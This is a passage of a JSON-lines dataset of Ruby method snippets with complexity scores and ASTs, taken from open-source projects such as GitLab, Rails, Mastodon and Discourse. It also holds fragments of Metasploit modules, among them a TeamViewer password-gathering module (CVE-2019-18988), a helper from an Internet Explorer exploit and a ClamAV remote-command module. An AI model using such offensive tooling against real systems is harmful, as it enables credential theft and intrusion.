"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[4679]}]}]}]}]}]}","id":"a3461b08-cb9c-452b-aebb-5d4aaabfb576"} {"repo_name":"discourse","file_path":"./repos/discourse/migrations/scripts/benchmarks/database_write.rb","start_line":124,"raw_source":"def insert(*parameters)\n begin_transaction if @statement_counter == 0\n\n @stmt.execute(*parameters)\n\n if (@statement_counter += 1) > TRANSACTION_SIZE\n commit_transaction\n @statement_counter = 0\n end\n end","complexity_score":11.25,"ast_json":"{\"type\":\"def\",\"children\":[\"insert\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"parameters\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@statement_counter\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"begin_transaction\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stmt\"]},\"execute\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameters\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@statement_counter\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},\">\",{\"type\":\"const\",\"children\":[null,\"TRANSACTION_SIZE\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commit_transaction\"]},{\"type\":\"ivasgn\",\"children\":[\"@statement_counter\",{\"type\":\"int\",\"children\":[0]}]}]},null]}]}]}","id":"139501af-a7a0-4d7a-af87-459ea76fed9a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/analytics_instrumentation.rb","start_line":295,"raw_source":"def skip_review?\n helper.mr_has_labels?('growth experiment')\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"skip_review?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helper\"]},\"mr_has_labels?\",{\"type\":\"str\",\"children\":[\"growth experiment\"]}]}]}","id":"5db38d47-39d1-45a4-8144-6bcb5cb0cc11"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_daemon/monitor.rb","start_line":139,"raw_source":"def safe_parse(message)\n Gitlab::Json.parse(message)\n rescue JSON::ParserError\n end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"safe_parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]}]},null,null]},null]}]}","id":"c1a087df-79ef-4c1d-9b3c-d92492bf57e6"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/exploit/msu_finder.rb","start_line":89,"raw_source":"def initialize\n @args = get_parsed_options\n rescue OptionParser::InvalidOption, OptionParser::MissingArgument => e\n print_error(e.message)\n exit\n end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@args\",{\"type\":\"send\",\"children\":[null,\"get_parsed_options\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptionParser\"]},\"InvalidOption\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptionParser\"]},\"MissingArgument\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"exit\"]}]}]},null]}]}","id":"c253cc4f-b7ba-4975-affe-cdd5dcc8510e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/load_balancing/host.rb","start_line":94,"raw_source":"def disconnect!(timeout: 120)\n start_time = ::Gitlab::Metrics::System.monotonic_time\n\n while (::Gitlab::Metrics::System.monotonic_time - start_time) <= timeout\n return if try_disconnect\n\n sleep(2)\n end\n\n force_disconnect!\n end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"disconnect!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"timeout\",{\"type\":\"int\",\"children\":[120]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Metrics\"]},\"System\"]},\"monotonic_time\"]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Metrics\"]},\"System\"]},\"monotonic_time\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"start_time\"]}]}]},\"<=\",{\"type\":\"lvar\",\"children\":[\"timeout\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"try_disconnect\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"send\",\"children\":[null,\"force_disconnect!\"]}]}]}","id":"bdff2740-63f5-4c87-acc7-f0f34a208363"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/teamviewer_passwords.rb","start_line":12,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Windows Gather TeamViewer Passwords',\n 'Description' => %q{ This module will find and decrypt stored TeamViewer passwords },\n 'License' => MSF_LICENSE,\n 'References' => [\n ['CVE', '2019-18988'], [ 'URL', 'https://whynotsecurity.com/blog/teamviewer/'],\n [ 'URL', 'https://www.cnblogs.com/Kali-Team/p/12468066.html' ]\n ],\n 'Author' => [ 'Nic Losby <blurbdust[at]gmail.com>', 'Kali-Team <kali-team[at]qq.com>'],\n 'Platform' => [ 'win' ],\n 'SessionTypes' => [ 'meterpreter' ],\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'SideEffects' => [],\n 'Reliability' => []\n },\n 'Compat' => {\n 'Meterpreter' => {\n 'Commands' => %w[\n stdapi_railgun_api\n stdapi_railgun_api_multi\n stdapi_railgun_memread\n stdapi_railgun_memwrite\n stdapi_sys_process_get_processes\n ]\n }\n }\n )\n )\n register_options(\n [\n OptString.new('WINDOW_TITLE', [ false, 'Specify a title for getting the window handle, e.g. TeamViewer', 'TeamViewer']),\n ]\n )\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows Gather TeamViewer Passwords\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\" This module will find and decrypt stored TeamViewer passwords \"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2019-18988\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://whynotsecurity.com/blog/teamviewer/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.cnblogs.com/Kali-Team/p/12468066.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Nic Losby <blurbdust[at]gmail.com>\"]},{\"type\":\"str\",\"children\":[\"Kali-Team <kali-team[at]qq.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_railgun_api\"]},{\"type\":\"str\",\"children\":[\"stdapi_railgun_api_multi\"]},{\"type\":\"str\",\"children\":[\"stdapi_railgun_memread\"]},{\"type\":\"str\",\"children\":[\"stdapi_railgun_memwrite\"]},{\"type\":\"str\",\"children\":[\"stdapi_sys_process_get_processes\"]}]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"WINDOW_TITLE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Specify a title for getting the window handle, e.g. TeamViewer\"]},{\"type\":\"str\",\"children\":[\"TeamViewer\"]}]}]}]}]}]}]}","id":"e0d6aa3c-ac25-4d70-8f45-80e2fa93f281"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/peripherals/service_result_refinements.rb","start_line":48,"raw_source":"def bind\n return self if failure?\n\n yield result\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"bind\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failure?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"self\",\"children\":[]}]},null]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[null,\"result\"]}]}]}]}","id":"766d2083-bc61-47db-8fc2-c4aa3258767a"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ie_cbutton_uaf.rb","start_line":127,"raw_source":"def nop\n return make_nops(4).unpack(\"V\")[0].to_i\n end","complexity_score":5.65,"ast_json":"{\"type\":\"def\",\"children\":[\"nop\",{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"make_nops\",{\"type\":\"int\",\"children\":[4]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"to_i\"]}]}]}","id":"11ba98c4-2e08-443f-b7b0-becffaa65fce"} {"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/rails/benchmark/benchmark_generator.rb","start_line":13,"raw_source":"def generate_layout\n add_ips_to_gemfile unless ips_installed?\n template(\"benchmark.rb.tt\", \"script/benchmarks/#{file_name}.rb\")\n end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_layout\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ips_installed?\"]},null,{\"type\":\"send\",\"children\":[null,\"add_ips_to_gemfile\"]}]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"benchmark.rb.tt\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"script/benchmarks/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_name\"]}]},{\"type\":\"str\",\"children\":[\".rb\"]}]}]}]}]}","id":"e9682712-0aa1-4249-b74f-45048c99860d"} {"repo_name":"forem","file_path":"./repos/forem/app/helpers/notifications_helper.rb","start_line":8,"raw_source":"def reaction_category_name(slug)\n ReactionCategory[slug]&.name.presence || \"unknown\"\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"reaction_category_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"slug\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ReactionCategory\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"slug\"]}]},\"name\"]},\"presence\"]},{\"type\":\"str\",\"children\":[\"unknown\"]}]}]}","id":"66922ef8-1cd6-40a8-9e5b-0bc6bb95e080"} {"repo_name":"discourse","file_path":"./repos/discourse/app/services/word_watcher.rb","start_line":29,"raw_source":"def self.words_for_action(action)\n WatchedWord\n .where(action: WatchedWord.actions[action.to_sym])\n .limit(WatchedWord::MAX_WORDS_PER_ACTION)\n .order(:id)\n .pluck(:word, :replacement, :case_sensitive, :html)\n .to_h do |w, r, c, h|\n opts = { word: w, replacement: r, case_sensitive: c }.compact\n opts[:html] = true if h\n [word_to_regexp(w, match_word: false), opts]\n end\n end","complexity_score":20.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"words_for_action\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WatchedWord\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WatchedWord\"]},\"actions\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"to_sym\"]}]}]}]}]},\"limit\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WatchedWord\"]},\"MAX_WORDS_PER_ACTION\"]}]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"word\"]},{\"type\":\"sym\",\"children\":[\"replacement\"]},{\"type\":\"sym\",\"children\":[\"case_sensitive\"]},{\"type\":\"sym\",\"children\":[\"html\"]}]},\"to_h\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"w\"]},{\"type\":\"arg\",\"children\":[\"r\"]},{\"type\":\"arg\",\"children\":[\"c\"]},{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"word\"]},{\"type\":\"lvar\",\"children\":[\"w\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"replacement\"]},{\"type\":\"lvar\",\"children\":[\"r\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"case_sensitive\"]},{\"type\":\"lvar\",\"children\":[\"c\"]}]}]},\"compact\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"html\"]},{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"word_to_regexp\",{\"type\":\"lvar\",\"children\":[\"w\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"match_word\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}]}","id":"09a04070-cab8-4c28-97d6-af5ca29db3b5"} {"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/testing_support/image_helpers.rb","start_line":4,"raw_source":"def create_image(attachable, file)\n image = attachable.images.new\n image.attachment.attach(io: file, filename: File.basename(file))\n image.save!\n file.rewind\n image\n end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_image\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attachable\"]},{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"image\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachable\"]},\"images\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"image\"]},\"attachment\"]},\"attach\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"io\"]},{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"image\"]},\"save!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"rewind\"]},{\"type\":\"lvar\",\"children\":[\"image\"]}]}]}","id":"1cb6ff4e-a149-4c95-b0a9-8043baa69fb9"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/taxon.rb","start_line":223,"raw_source":"def regenerate_taxon_products(only_once: false)\n if marked_for_regenerate_taxon_products?\n Spree::Taxons::RegenerateProducts.call(taxon: self)\n self.marked_for_regenerate_taxon_products = false if !frozen? && only_once\n end\n end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"regenerate_taxon_products\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"only_once\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"marked_for_regenerate_taxon_products?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Taxons\"]},\"RegenerateProducts\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"taxon\"]},{\"type\":\"self\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"frozen?\"]},\"!\"]},{\"type\":\"lvar\",\"children\":[\"only_once\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"marked_for_regenerate_taxon_products=\",{\"type\":\"false\",\"children\":[]}]},null]}]},null]}]}","id":"3f7f5970-0dae-4232-89c9-e5db8dae3f9c"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/admin/accounts_controller.rb","start_line":140,"raw_source":"def records_continue?\n @accounts.size == limit_param(LIMIT)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"records_continue?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@accounts\"]},\"size\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"limit_param\",{\"type\":\"const\",\"children\":[null,\"LIMIT\"]}]}]}]}","id":"464ff30a-e1a8-4dd7-818d-d48d7a133297"} {"repo_name":"aasm","file_path":"./repos/aasm/spec/models/sequel/transactor.rb","start_line":33,"raw_source":"def fail\n raise StandardError.new('failed on purpose')\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fail\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]},\"new\",{\"type\":\"str\",\"children\":[\"failed on purpose\"]}]}]}]}","id":"57914606-8d0d-4d4f-b721-f61623f33c54"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/physical_storage.rb","start_line":101,"raw_source":"def self.create_physical_storage_queue(userid, ext_management_system, options = {})\n options[\"password\"] = ManageIQ::Password.encrypt(options[\"password\"])\n\n task_opts = {\n :action => \"creating PhysicalStorage for user #{userid}\",\n :userid => userid\n }\n\n queue_opts = {\n :class_name => 'PhysicalStorage',\n :method_name => 'create_physical_storage',\n :role => 'ems_operations',\n :queue_name => ext_management_system.queue_name_for_ems_operations,\n :zone => ext_management_system.my_zone,\n :args => [ext_management_system.id, options]\n }\n\n MiqTask.generic_action_with_callback(task_opts, queue_opts)\n end","complexity_score":10.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create_physical_storage_queue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"userid\"]},{\"type\":\"arg\",\"children\":[\"ext_management_system\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ManageIQ\"]},\"Password\"]},\"encrypt\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"str\",\"children\":[\"password\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"task_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"creating PhysicalStorage for user \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"userid\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userid\"]},{\"type\":\"lvar\",\"children\":[\"userid\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"queue_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"str\",\"children\":[\"PhysicalStorage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method_name\"]},{\"type\":\"str\",\"children\":[\"create_physical_storage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"ems_operations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queue_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext_management_system\"]},\"queue_name_for_ems_operations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext_management_system\"]},\"my_zone\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ext_management_system\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqTask\"]},\"generic_action_with_callback\",{\"type\":\"lvar\",\"children\":[\"task_opts\"]},{\"type\":\"lvar\",\"children\":[\"queue_opts\"]}]}]}]}","id":"09523159-0b23-4e04-b113-d5ae01251bde"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/deploy_token.rb","start_line":119,"raw_source":"def username\n super || default_username\n end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"username\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"default_username\"]}]}]}","id":"62796b19-b36c-4278-8ab6-94bab60c8da2"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/strict_loading_test.rb","start_line":436,"raw_source":"def test_raises_on_unloaded_relation_methods_if_strict_loading\n dev = Developer.strict_loading.first\n assert_predicate dev, :strict_loading?\n\n assert_raises ActiveRecord::StrictLoadingViolationError do\n dev.audit_logs.first\n end\n end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_raises_on_unloaded_relation_methods_if_strict_loading\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dev\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Developer\"]},\"strict_loading\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"dev\"]},{\"type\":\"sym\",\"children\":[\"strict_loading?\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"StrictLoadingViolationError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dev\"]},\"audit_logs\"]},\"first\"]}]}]}]}","id":"d95eb27a-6787-4571-b2ad-35b148cc2e79"} {"repo_name":"mastodon","file_path":"./repos/mastodon/spec/support/search_data_manager.rb","start_line":38,"raw_source":"def cleanup_test_data\n Status.destroy_all\n Account.destroy_all\n Tag.destroy_all\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup_test_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"destroy_all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"destroy_all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"destroy_all\"]}]}]}","id":"d200c08a-6991-47ad-a765-1413ebfa5534"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/misc/clamav_control.rb","start_line":9,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'ClamAV Remote Command Transmitter',\n 'Description' => %q{\n In certain configurations, ClamAV will bind to all addresses and listen for commands.\n This module sends properly-formatted commands to the ClamAV daemon if it is in such a\n configuration.\n },\n 'Author' => [\n 'Alejandro Hdeza', # DISCOVER\n 'bwatters-r7', # MODULE\n 